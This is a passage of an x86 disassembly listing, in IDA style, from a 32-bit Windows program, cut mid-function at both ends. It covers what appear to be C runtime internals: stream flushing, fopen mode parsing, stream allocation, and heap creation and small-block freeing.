mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_416536
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_416541
; ---------------------------------------------------------------------------
loc_416536: ; CODE XREF: sub_41651D+9j
push ecx
push [ebp+arg_0]
call sub_415CC7
pop ecx
pop ecx
loc_416541: ; CODE XREF: sub_41651D+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41654E
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41654E: ; CODE XREF: sub_41651D+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41651D endp
; =============== S U B R O U T I N E =======================================
sub_416552 proc near ; CODE XREF: sub_415DDC+65Ap
; sub_415DDC+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_416580
mov esi, [esp+8+arg_C]
loc_416563: ; CODE XREF: sub_416552+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41651D
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_416580
mov eax, edi
dec edi
test eax, eax
jg short loc_416563
loc_416580: ; CODE XREF: sub_416552+Bj
; sub_416552+25j
pop edi
pop esi
retn
sub_416552 endp
; =============== S U B R O U T I N E =======================================
sub_416583 proc near ; CODE XREF: sub_415DDC+670p
; sub_415DDC+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_4165B7
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_416599: ; CODE XREF: sub_416583+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41651D
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_4165B7
mov eax, ebx
dec ebx
test eax, eax
jg short loc_416599
loc_4165B7: ; CODE XREF: sub_416583+Cj
; sub_416583+2Bj
pop edi
pop esi
pop ebx
retn
sub_416583 endp
; =============== S U B R O U T I N E =======================================
sub_4165BB proc near ; CODE XREF: sub_415DDC+E5p
; sub_415DDC+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_4165BB endp
; =============== S U B R O U T I N E =======================================
sub_4165C8 proc near ; CODE XREF: sub_415DDC+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_4165C8 endp
; =============== S U B R O U T I N E =======================================
sub_4165D8 proc near ; CODE XREF: sub_415DDC+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_4165D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165E6 proc near ; CODE XREF: sub_413A94+17p
; sub_413A94+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_416604
mov ecx, ds:off_42D0F0
movzx eax, word ptr [ecx+eax*2]
jmp short loc_416656
; ---------------------------------------------------------------------------
loc_416604: ; CODE XREF: sub_4165E6+10j
mov ecx, eax
push esi
mov esi, ds:off_42D0F0
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_416629
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_416632
; ---------------------------------------------------------------------------
loc_416629: ; CODE XREF: sub_4165E6+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_416632: ; CODE XREF: sub_4165E6+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call loc_41B287
add esp, 1Ch
test eax, eax
jnz short loc_416652
leave
retn
; ---------------------------------------------------------------------------
loc_416652: ; CODE XREF: sub_4165E6+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_416656: ; CODE XREF: sub_4165E6+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_4165E6 endp
; =============== S U B R O U T I N E =======================================
sub_41665B proc near ; CODE XREF: sub_413C00+2Ap
; sub_41B5EA+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, ds:dword_45FC20
jnb loc_4166F5
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:45FB20h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_4166F5
push edi
call sub_41B556
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4166D4
cmp edi, 1
jz short loc_4166A2
cmp edi, 2
jnz short loc_4166B8
loc_4166A2: ; CODE XREF: sub_41665B+40j
push 2
call sub_41B556
push 1
mov ebp, eax
call sub_41B556
pop ecx
cmp eax, ebp
pop ecx
jz short loc_4166D4
loc_4166B8: ; CODE XREF: sub_41665B+45j
push edi
call sub_41B556
pop ecx
push eax
call ds:dword_41F070 ; CloseHandle
test eax, eax
jnz short loc_4166D4
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_4166D6
; ---------------------------------------------------------------------------
loc_4166D4: ; CODE XREF: sub_41665B+3Bj
; sub_41665B+5Bj ...
xor ebp, ebp
loc_4166D6: ; CODE XREF: sub_41665B+77j
push edi
call loc_41B4DC
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_4166F1
push ebp
call sub_41A667
pop ecx
jmp short loc_416706
; ---------------------------------------------------------------------------
loc_4166F1: ; CODE XREF: sub_41665B+8Bj
xor eax, eax
jmp short loc_416709
; ---------------------------------------------------------------------------
loc_4166F5: ; CODE XREF: sub_41665B+Ej
; sub_41665B+2Fj
and ds:dword_45E808, 0
mov ds:dword_45E804, 9
loc_416706: ; CODE XREF: sub_41665B+94j
or eax, 0FFFFFFFFh
loc_416709: ; CODE XREF: sub_41665B+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41665B endp
; =============== S U B R O U T I N E =======================================
sub_41670E proc near ; CODE XREF: sub_413C00+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_416737
test al, 8
jz short loc_416737
push dword ptr [esi+8]
call sub_413ED3
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_416737: ; CODE XREF: sub_41670E+Aj
; sub_41670E+Ej
pop esi
retn
sub_41670E endp
; =============== S U B R O U T I N E =======================================
sub_416739 proc near ; CODE XREF: sub_4167D9+2Dp
; sub_4167D9+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41674B
push esi
call sub_4167D9
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41674B: ; CODE XREF: sub_416739+7j
push esi
call sub_416774
test eax, eax
pop ecx
jz short loc_41675B
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41675B: ; CODE XREF: sub_416739+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_416770
push dword ptr [esi+10h]
call sub_41B593
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_416770: ; CODE XREF: sub_416739+26j
xor eax, eax
pop esi
retn
sub_416739 endp
; =============== S U B R O U T I N E =======================================
sub_416774 proc near ; CODE XREF: sub_413C00+1Ap
; sub_414ECE+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_4167C1
test ax, 108h
jz short loc_4167C1
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_4167C1
push edi
push eax
push dword ptr [esi+10h]
call sub_41A4BA
add esp, 0Ch
cmp eax, edi
jnz short loc_4167BA
mov eax, [esi+0Ch]
test al, 80h
jz short loc_4167C1
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_4167C1
; ---------------------------------------------------------------------------
loc_4167BA: ; CODE XREF: sub_416774+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_4167C1: ; CODE XREF: sub_416774+14j
; sub_416774+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_416774 endp
; =============== S U B R O U T I N E =======================================
sub_4167D0 proc near ; CODE XREF: sub_41B20Bp
push 1
call sub_4167D9
pop ecx
retn
sub_4167D0 endp
; =============== S U B R O U T I N E =======================================
sub_4167D9 proc near ; CODE XREF: sub_416739+Ap
; sub_4167D0+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp ds:dword_45FB00, esi
jle short loc_416837
loc_4167EA: ; CODE XREF: sub_4167D9+5Cj
mov eax, ds:dword_45EAF0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41682E
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41682E
cmp [esp+0Ch+arg_0], 1
jnz short loc_416814
push eax
call sub_416739
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41682E
inc ebx
jmp short loc_41682E
; ---------------------------------------------------------------------------
loc_416814: ; CODE XREF: sub_4167D9+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41682E
test cl, 2
jz short loc_41682E
push eax
call sub_416739
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41682E
or edi, eax
loc_41682E: ; CODE XREF: sub_4167D9+1Bj
; sub_4167D9+23j ...
inc esi
cmp esi, ds:dword_45FB00
jl short loc_4167EA
loc_416837: ; CODE XREF: sub_4167D9+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_416842
mov eax, edi
loc_416842: ; CODE XREF: sub_4167D9+65j
pop edi
pop esi
pop ebx
retn
sub_4167D9 endp
; =============== S U B R O U T I N E =======================================
sub_416846 proc near ; CODE XREF: sub_413C56+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41B140
test eax, eax
pop ecx
jz short loc_4168CF
cmp esi, offset dword_42D808
jnz short loc_416864
xor eax, eax
jmp short loc_41686F
; ---------------------------------------------------------------------------
loc_416864: ; CODE XREF: sub_416846+18j
cmp esi, offset dword_42D828
jnz short loc_4168CF
push 1
pop eax
loc_41686F: ; CODE XREF: sub_416846+1Cj
inc ds:dword_45E9C4
test word ptr [esi+0Ch], 10Ch
jnz short loc_4168CF
cmp ds:dword_45E85C[eax*4], 0
push ebx
push edi
lea edi, ds:45E85Ch[eax*4]
mov ebx, 1000h
jnz short loc_4168B5
push ebx
call sub_413E5F
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4168B5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4168C2
; ---------------------------------------------------------------------------
loc_4168B5: ; CODE XREF: sub_416846+4Dj
; sub_416846+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4168C2: ; CODE XREF: sub_416846+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4168CF: ; CODE XREF: sub_416846+10j
; sub_416846+24j ...
xor eax, eax
pop esi
retn
sub_416846 endp
; =============== S U B R O U T I N E =======================================
sub_4168D3 proc near ; CODE XREF: sub_413C56+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_4168FD
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41690E
push esi
call sub_416774
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4168FD: ; CODE XREF: sub_4168D3+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41690E
push eax
call sub_416774
pop ecx
loc_41690E: ; CODE XREF: sub_4168D3+10j
; sub_4168D3+32j
pop esi
retn
sub_4168D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416910 proc near ; CODE XREF: sub_413C88+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ds:dword_45E9CC
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_416949
cmp al, 72h
jz short loc_416942
cmp al, 77h
jnz loc_416A5D
mov ecx, 301h
jmp short loc_41694E
; ---------------------------------------------------------------------------
loc_416942: ; CODE XREF: sub_416910+21j
xor ecx, ecx
or esi, 1
jmp short loc_416951
; ---------------------------------------------------------------------------
loc_416949: ; CODE XREF: sub_416910+1Dj
mov ecx, 109h
loc_41694E: ; CODE XREF: sub_416910+30j
or esi, 2
loc_416951: ; CODE XREF: sub_416910+37j
push 1
pop edx
loc_416954: ; CODE XREF: sub_416910+8Bj
; sub_416910+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_416A43
cmp edx, ebx
jz loc_416A43
movsx eax, al
cmp eax, 54h
jg short loc_4169E2
jz short loc_4169D2
sub eax, 2Bh
jz short loc_4169BC
sub eax, 19h
jz short loc_4169B2
sub eax, 0Eh
jz short loc_41699D
dec eax
jnz loc_416A34
cmp [ebp+var_4], ebx
jnz loc_416A34
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_416954
; ---------------------------------------------------------------------------
loc_41699D: ; CODE XREF: sub_416910+6Fj
cmp [ebp+var_4], ebx
jnz loc_416A34
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_416954
; ---------------------------------------------------------------------------
loc_4169B2: ; CODE XREF: sub_416910+6Aj
test cl, 40h
jnz short loc_416A34
or ecx, 40h
jmp short loc_416954
; ---------------------------------------------------------------------------
loc_4169BC: ; CODE XREF: sub_416910+65j
test cl, 2
jnz short loc_416A34
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_416954
; ---------------------------------------------------------------------------
loc_4169D2: ; CODE XREF: sub_416910+60j
mov eax, 1000h
test ecx, eax
jnz short loc_416A34
or ecx, eax
jmp loc_416954
; ---------------------------------------------------------------------------
loc_4169E2: ; CODE XREF: sub_416910+5Ej
sub eax, 62h
jz short loc_416A2F
dec eax
jz short loc_416A18
sub eax, 0Bh
jz short loc_416A01
sub eax, 6
jnz short loc_416A34
test ch, 0C0h
jnz short loc_416A34
or ch, 40h
jmp loc_416954
; ---------------------------------------------------------------------------
loc_416A01: ; CODE XREF: sub_416910+DDj
cmp [ebp+var_8], ebx
jnz short loc_416A34
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_416954
; ---------------------------------------------------------------------------
loc_416A18: ; CODE XREF: sub_416910+D8j
cmp [ebp+var_8], ebx
jnz short loc_416A34
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_416954
; ---------------------------------------------------------------------------
loc_416A2F: ; CODE XREF: sub_416910+D5j
test ch, 0C0h
jz short loc_416A3B
loc_416A34: ; CODE XREF: sub_416910+72j
; sub_416910+7Bj ...
xor edx, edx
jmp loc_416954
; ---------------------------------------------------------------------------
loc_416A3B: ; CODE XREF: sub_416910+122j
or ch, 80h
jmp loc_416954
; ---------------------------------------------------------------------------
loc_416A43: ; CODE XREF: sub_416910+4Aj
; sub_416910+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41B5EA
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_416A61
loc_416A5D: ; CODE XREF: sub_416910+25j
xor eax, eax
jmp short loc_416A7B
; ---------------------------------------------------------------------------
loc_416A61: ; CODE XREF: sub_416910+14Bj
mov eax, [ebp+arg_C]
inc ds:dword_45E9C4
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_416A7B: ; CODE XREF: sub_416910+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_416910 endp
; =============== S U B R O U T I N E =======================================
sub_416A80 proc near ; CODE XREF: sub_413C88p
mov edx, ds:dword_45FB00
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_416AF1
mov ebx, ds:dword_45EAF0
mov edi, ebx
loc_416A9C: ; CODE XREF: sub_416A80+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_416AB7
test byte ptr [ecx+0Ch], 83h
jz short loc_416AB2
inc eax
add edi, 4
cmp eax, edx
jl short loc_416A9C
jmp short loc_416AF1
; ---------------------------------------------------------------------------
loc_416AB2: ; CODE XREF: sub_416A80+26j
mov esi, [ebx+eax*4]
jmp short loc_416ADB
; ---------------------------------------------------------------------------
loc_416AB7: ; CODE XREF: sub_416A80+20j
mov edi, eax
push 20h
shl edi, 2
call sub_413E5F
pop ecx
mov ecx, ds:dword_45EAF0
mov [edi+ecx], eax
mov eax, ds:dword_45EAF0
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_416AF1
mov esi, edi
loc_416ADB: ; CODE XREF: sub_416A80+35j
cmp esi, ebp
jz short loc_416AF1
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_416AF1: ; CODE XREF: sub_416A80+12j
; sub_416A80+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_416A80 endp
; =============== S U B R O U T I N E =======================================
sub_416AF8 proc near ; CODE XREF: sub_413E71+1Fp
; sub_41556F+106p ...
arg_0 = dword ptr 4
mov eax, ds:dword_45E868
test eax, eax
jz short loc_416B10
push [esp+arg_0]
call eax ; dword_45E868
test eax, eax
pop ecx
jz short loc_416B10
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_416B10: ; CODE XREF: sub_416AF8+7j
; sub_416AF8+12j
xor eax, eax
retn
sub_416AF8 endp
; =============== S U B R O U T I N E =======================================
sub_416B13 proc near ; CODE XREF: seg000:00415BE2p
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call ds:dword_41F168 ; HeapCreate
test eax, eax
mov ds:dword_45FE60, eax
jz short loc_416B48
call sub_416B4F
test eax, eax
jnz short loc_416B4B
push ds:dword_45FE60
call ds:dword_41F164 ; HeapDestroy
loc_416B48: ; CODE XREF: sub_416B13+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_416B4B: ; CODE XREF: sub_416B13+27j
push 1
pop eax
retn
sub_416B13 endp
; =============== S U B R O U T I N E =======================================
sub_416B4F proc near ; CODE XREF: sub_416B13+20p
push 140h
push 0
push ds:dword_45FE60
call ds:dword_41F140 ; RtlAllocateHeap
test eax, eax
mov ds:dword_45FE5C, eax
jnz short loc_416B6C
retn
; ---------------------------------------------------------------------------
loc_416B6C: ; CODE XREF: sub_416B4F+1Aj
and ds:dword_45FE54, 0
and ds:dword_45FE58, 0
push 1
mov ds:dword_45FE50, eax
mov ds:dword_45FE48, 10h
pop eax
retn
sub_416B4F endp
; =============== S U B R O U T I N E =======================================
sub_416B8D proc near ; CODE XREF: sub_413ED3+Ap
; sub_41556F+3Dp ...
arg_0 = dword ptr 4
mov eax, ds:dword_45FE58
lea ecx, [eax+eax*4]
mov eax, ds:dword_45FE5C
lea ecx, [eax+ecx*4]
loc_416B9D: ; CODE XREF: sub_416B8D+26j
cmp eax, ecx
jnb short loc_416BB5
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_416BB7
add eax, 14h
jmp short loc_416B9D
; ---------------------------------------------------------------------------
loc_416BB5: ; CODE XREF: sub_416B8D+12j
xor eax, eax
locret_416BB7: ; CODE XREF: sub_416B8D+21j
retn
sub_416B8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BB8 proc near ; CODE XREF: sub_413ED3+16p
; sub_41556F+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_416C7E
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_416C10
mov [ebp+arg_4], edi
loc_416C10: ; CODE XREF: sub_416BB8+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_416C62
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_416C3E
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_416C62
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_416C62
; ---------------------------------------------------------------------------
loc_416C3E: ; CODE XREF: sub_416BB8+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_416C62
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_416C62: ; CODE XREF: sub_416BB8+60j
; sub_416BB8+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_416C7E: ; CODE XREF: sub_416BB8+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_416C8C
push 3Fh
pop edi
loc_416C8C: ; CODE XREF: sub_416BB8+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_416D3B
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_416CB7
mov [ebp+arg_4], edx
mov ecx, edx
loc_416CB7: ; CODE XREF: sub_416BB8+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_416CC9
mov edi, edx
loc_416CC9: ; CODE XREF: sub_416BB8+10Dj
cmp ecx, edi
jz short loc_416D38
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_416D20
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_416CFC
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_416D20
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_416D20
; ---------------------------------------------------------------------------
loc_416CFC: ; CODE XREF: sub_416BB8+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_416D20
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_416D20: ; CODE XREF: sub_416BB8+11Ej
; sub_416BB8+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_416D38: ; CODE XREF: sub_416BB8+113j
mov edx, [ebp+var_8]
loc_416D3B: ; CODE XREF: sub_416BB8+DDj
cmp [ebp+var_14], 0
jnz short loc_416D4A
cmp [ebp+arg_4], edi
jz loc_416DD3
loc_416D4A: ; CODE XREF: sub_416BB8+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_416DD3
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_416DA7
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_416D96
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_416D96: ; CODE XREF: sub_416BB8+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_416DD0
; ---------------------------------------------------------------------------
loc_416DA7: ; CODE XREF: sub_416BB8+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_416DBD
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_416DBD: ; CODE XREF: sub_416BB8+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_416DD0: ; CODE XREF: sub_416BB8+1EDj
mov ebx, [ebp+var_C]
loc_416DD3: ; CODE XREF: sub_416BB8+18Cj
; sub_416BB8+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_416EDE
mov eax, ds:dword_45FE54
test eax, eax
jz loc_416ED0
mov ecx, ds:dword_45FE4C
mov edi, ds:dword_41F16C
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi ; dword_41F16C
mov ecx, ds:dword_45FE4C
mov eax, ds:dword_45FE54
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, ds:dword_45FE54
mov ecx, ds:dword_45FE4C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, ds:dword_45FE54
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, ds:dword_45FE54
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_416E5E
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, ds:dword_45FE54
loc_416E5E: ; CODE XREF: sub_416BB8+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_416ED0
push ebx
push 0
push dword ptr [eax+0Ch]
call edi ; dword_41F16C
mov eax, ds:dword_45FE54
push dword ptr [eax+10h]
push 0
push ds:dword_45FE60
call ds:dword_41F144 ; RtlFreeHeap
mov eax, ds:dword_45FE58
mov edx, ds:dword_45FE5C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, ds:dword_45FE54
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_414520
mov eax, [ebp+arg_0]
add esp, 0Ch
dec ds:dword_45FE58
cmp eax, ds:dword_45FE54
jbe short loc_416EC2
sub eax, 14h
loc_416EC2: ; CODE XREF: sub_416BB8+305j
mov ecx, ds:dword_45FE5C
mov ds:dword_45FE50, ecx
jmp short loc_416ED3
; ---------------------------------------------------------------------------
loc_416ED0: ; CODE XREF: sub_416BB8+233j
; sub_416BB8+2AAj
mov eax, [ebp+arg_0]
loc_416ED3: ; CODE XREF: sub_416BB8+316j
mov ds:dword_45FE54, eax
mov ds:dword_45FE4C, esi
loc_416EDE: ; CODE XREF: sub_416BB8+226j
pop edi
pop esi
pop ebx
leave
retn
sub_416BB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EE3 proc near ; CODE XREF: sub_413E9D+Ep
; sub_41556F+69p ...
var_14 = dword ptr -14h
